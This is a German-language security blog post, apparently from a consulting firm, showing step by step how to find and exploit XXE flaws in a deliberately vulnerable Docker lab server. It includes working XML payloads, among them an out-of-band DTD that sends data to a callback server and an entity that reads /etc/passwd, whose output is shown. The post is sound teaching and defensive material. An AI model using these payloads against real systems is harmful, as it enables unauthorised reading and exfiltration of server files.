XXE Angriffe finden in 3 Schritten

Welche Risiken bietet XML? – Blogserie – Teil #03 – Banner
Welche Risiken bietet XML? – Blogserie – Teil #03 – Banner

Welche Risiken bietet XML? – Blogserie – Teil #03

In diesem dritten Beitrag der XML Serie möchten wir mit Ihnen zusammen ein Fallbeispiel durchgehen und zeigen, wie man etwaige XML Sicherheitslücken in einem Dienst finden kann. Bei der Sicherheitsanalyse gehen wir in den folgenden drei Schritten vor:

  1. Webanwendung auf den Einsatz von XML überprüfen
  2. Mögliche Schwachstellen der Webanwendung testen
  3. XML-basierten Angriff ausführen

In diesem Beispiel verwenden wir ein Projekt, welches einen kleinen Webserver zur Verfügung stellt, der bewusst anfällig für XML External Entities (XXE) Angriffe ist. Um Erfahrungen zu sammeln wie XXE Angriffe erkannt werden können, gehen wir im Folgenden davon aus, dass für den Webserver keine Schwachstellen bekannt sind. Sollte Ihnen das Hintergrundwissen zu XXE Angriffen fehlen, empfehlen wir Ihnen den ersten Beitrag dieser Blogreihe zu lesen.

 

Einrichtung der Testumgebung

Um selbst die Schritte der Sicherheitsanalyse nachzuverfolgen, oder um selbst Angriffe auszuprobieren, können Sie den verwundbaren Webserver mittels der folgenden Schritte auf localhost:5000 laufen lassen. Sollten Sie nicht selbst Hand anlegen wollen, so kann dieser Abschnitt übersprungen werden.

  1. Docker installieren und einrichten.
  2. Das Repository  https://github.com/Hackmanit/xxelab klonen oder herunterladen und entpacken.
  3. In dem heruntergeladenen Order die folgenden Befehle in der Konsole ausführen:
docker build -t xxelab . 

docker run -it --rm -p 127.0.0.1:5000:80 xxelab

Um nun die Nachrichten, die zwischen Browser und Server ausgetauscht werden, zu sehen, muss ein Proxy eingerichtet werden. Wir nutzen in diesem Beispiel Burp Suite. Informationen zur Einrichtung und Nutzung von Burp Suite finden Sie hier.

 

1. Webanwendung auf den Einsatz von XML überprüfen

Wenn der Server läuft und wir in einem Browser die Adresse localhost:5000 öffnen, sehen wir eine Website, bei der man sich registrieren kann (siehe Abbildung 1).

Ohne jegliches Vorwissen wie der Dienst funktioniert, müssen wir zunächst herausfinden wo und in welchem Umfang XML in dieser Anwendung genutzt wird. In dem zweiten Teil der Blogserie haben wir beschrieben bei welchen Technologien XML typischerweise zum Einsatz kommt. In diesem Fall gehört der Dienst zu der dort beschriebenen Kategorie „AJAX und Fetch API“.

 

vulnerable-serverDer angreifbare Server – Screenshot der Website, die von der Testumgebung bereitgestellt wird. (Abbildung 1)

 

Daher starten wir Burp Suite und hören die Verbindung ab.
Wenn wir nun den „Create Account“ Button betätigen, sieht man in Burp Suite eine Anfrage ähnlich zu der hier gezeigten:

 

POST /process.php HTTP/1.1
Host: localhost:5000
Content-Length: 122
[...]

<?xml version="1.0" encoding="UTF-8"?>
    <root>
      <name>Hackmanit GmbH</name>
      <tel>+49 (0)234 / 54459996</tel>
      <email>mail@hackmanit.de</email>
      <password>Ihr Spezialist für Web Sicherheit und Kryptographie</password>
    </root>

Hier lässt sich schnell erkennen, dass das XML Format verwendet wird, um die Daten des neuen Accounts zu übertragen.

 

 

2. Mögliche Schwachstellen der Webanwendung testen

Nun möchten wir natürlich herausfinden, ob der Server anfällig für XML-basierte Angriffe ist. Das bringt seine eigenen Herausforderungen mit sich, denn nicht immer kann man direkt verifizieren, ob ein Dienst die DTD Syntax unterstützt oder nicht. In manchen Fällen erhält man keine direkte Rückmeldung, so dass unklar ist, wie eine Nachricht von dem Server verarbeitet wurde.

Fall 1: Direkte Rückmeldung

Bei der Funktion “Create Account” zeigt sich durch ein wenig Herumprobieren, dass der Inhalt des E-Mail Feldes immer in einer Fehlermeldung unterhalb des Buttons dargestellt wird (siehe Abbildung 2).

 

error-reflected-emailFehlermeldung – Die Anwendung gibt den Inhalt des E-Mail Feldes in einer Fehlermeldung aus. (Abbildung 2)

 

Das heißt, die Anwendung liefert eine direkte Rückmeldung über den Inhalt der geparsten XML-Datei. Diese Tatsache kann ausgenutzt werden, um zu überprüfen, ob die DTD Syntax verarbeitet wird oder nicht. Wenn wir den originalen XML Inhalt der Anfrage mit Burp Suite durch den folgenden Inhalt ersetzen, sehen wir, ob die Entity mail in dem E-Mail Element ausgewertet wird.

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [<!ENTITY mail "test"> ]>
    <root>
      <name>Hackmanit GmbH</name>
      <tel>+49 (0)234 / 54459996</tel>
      <email>&mail;</email>
      <password>Ihr Spezialist für Web Sicherheit und Kryptographie</password>
    </root>

Und in der Tat lautet die Ausgabe der Anwendung:

Sorry, test is already registered!

Fall 2: Keine direkte Rückmeldung

Sollte die Anwendung keine direkte Rückmeldung liefern, muss man versuchen die Rückmeldung auf anderem Wege zu erhalten. Hierfür kann der Dienst dazu gebracht werden eine Anfrage an einen eigenen Webserver zu schicken (Out-of-Band Angriff). Dieser eigene Webserver zeichnet alle eingehenden Anfragen auf und kann somit verwendet werden, um die gewünschten Rückmeldungen zu erhalten. Beispielhaft kann ein Out-of-Band Angriff mit folgenden Schritten ausgeführt werden:

  1. Die Datei parameterEntity_oob.dtd mit dem folgenden Inhalt abspeichern:
    <!ENTITY % file "test OOB XXE">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000/?%file;'>">
    %all;
  1. Einen Webserver starten, der die Datei zur Verfügung stellt, zum Beispiel mit:
python -m http.server
    1. Den XML Inhalt der Anfrage in Burp Suite durch folgenden ersetzen:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://localhost:8000/parameterEntity_oob.dtd">
    <root>
      <name>Hackmanit GmbH</name>
      <tel> +49 (0)234 / 54459996</tel>
      <email>mail@hackmanit.de</email>
      <password>&send;</password>
    </root>

Sollte diese Art des Angriffes möglich sein, sendet die Anwendung eine Anfrage an den Python HTTP Server. Dies ist in unserem Beispiel nicht der Fall. Diese und alternative Angriffsmethoden sind zum Beispiel in XXE Cheat Sheets zu finden [1].

 

3. XML-basierten Angriff ausführen

Nachdem wir wissen wo und in welchem Umfang die Anwendung XML einsetzt und wir wissen, wie wir Rückmeldungen erhalten, können wir jetzt einen Angriff ausführen. Zum Beispiel können wir mittels eines XXE Angriffs interne Dateien vom Server extrahieren.

Mittels der folgenden manipulierten Anfrage an den Server können wir zum Beispiel den Inhalt der Datei /etc/passwd auslesen:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [<!ENTITY mail SYSTEM 'file:///etc/passwd'> ]>
    <root>
      <name>Hackmanit GmbH</name>
      <tel>+49 (0)234 / 54459996</tel>
      <email>&mail;</email>
      <password>Ihr Spezialist für Web Sicherheit und Kryptographie</password>
    </root>

Der Dateiinhalt wird von der Anwendung in der bekannten Fehlermeldung ausgegeben:

Sorry, root:x:0:0:root:/root:/bin/bash [...] is already registered!

Fazit

Anhand dieses Fallbeispiels haben wir gesehen, wie ein XXE Angriff auf eine verwundbare Webanwendung ablaufen kann. Die Auswirkungen eines erfolgreichen Angriffs hängen von der jeweiligen Anwendung ab, können jedoch, wie mittels des Beispiels verdeutlicht, schwerwiegend sein. Daher ist es notwendig bei jeder Anwendung, die Daten im XML Format verarbeitet, den Angriffsvektor XXE zu berücksichtigen und sicherzustellen, dass die Anwendung nicht dagegen anfällig ist. Im Allgemeinen empfiehlt es sich, die Verarbeitung von Document Type Definitions (und damit XML Entities) durch den XML Parser zu deaktivieren, sofern DTDs nicht explizit benötigt werden.

 

 

Teil #04 - Sicherheitslücken in SOAP Web Services aufdecken

Nachdem Sie die Grundlagen zur Erkennung von XML-Nutzung und ersten Angriffen kennengelernt haben, widmen wir uns im nächsten Teil dem bereits erwähnten SOAP-Protokoll. Wir werden eine Beispiel-Implementierung aufsetzen und anschließend auf Schwachstellen untersuchen.

 

Blogserie – Welche Risiken bietet XML? – Alle Teile auf einen Blick

Teil #01 – XML im Überblick

Teil #02 – Wo wird XML in der Praxis eingesetzt?

Teil #03 – XXE Angriffe finden in 3 Schritten

Teil #04 – Sicherheitslücken in SOAP Web Services aufdecken

 

Folgen Sie uns auf X (Twitter) oder Linkedin und verpassen Sie keinen unserer zukünftigen Blogbeiträge.

 

 

Quellen

  1. https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

 

 

Unsere Experten entwickeln die optimale Lösung für Sie

XML Parsing – XML Sicherheit – SOAP

Stehen Sie vor der Entscheidung, wie Sie XML sicher verarbeiten und Ihre Kundendaten optimal schützen können? Oder setzen Sie bereits XML ein und fragen sich, ob Ihre Implementierung sicher ist?

Wir beraten Sie gerne; kontaktieren Sie uns für eine unverbindliche Erstberatung. So stehen wir Ihnen mit folgenden Services und Lösungen zur Seite:

IT-Sicherheitsberatung  |  Schulungen   |  Penetrationstests

Zögern Sie nicht und finden Sie mit uns Ihren Weg zu sicheren APIs. Wir freuen uns darauf Sie bei Ihren Projekten zu unterstützen.

 

Ihr Ansprechpartner für XML-Sicherheit und SOAP

Prof. Dr. Juraj Somorovsky
juraj.somorovsky@hackmanit.de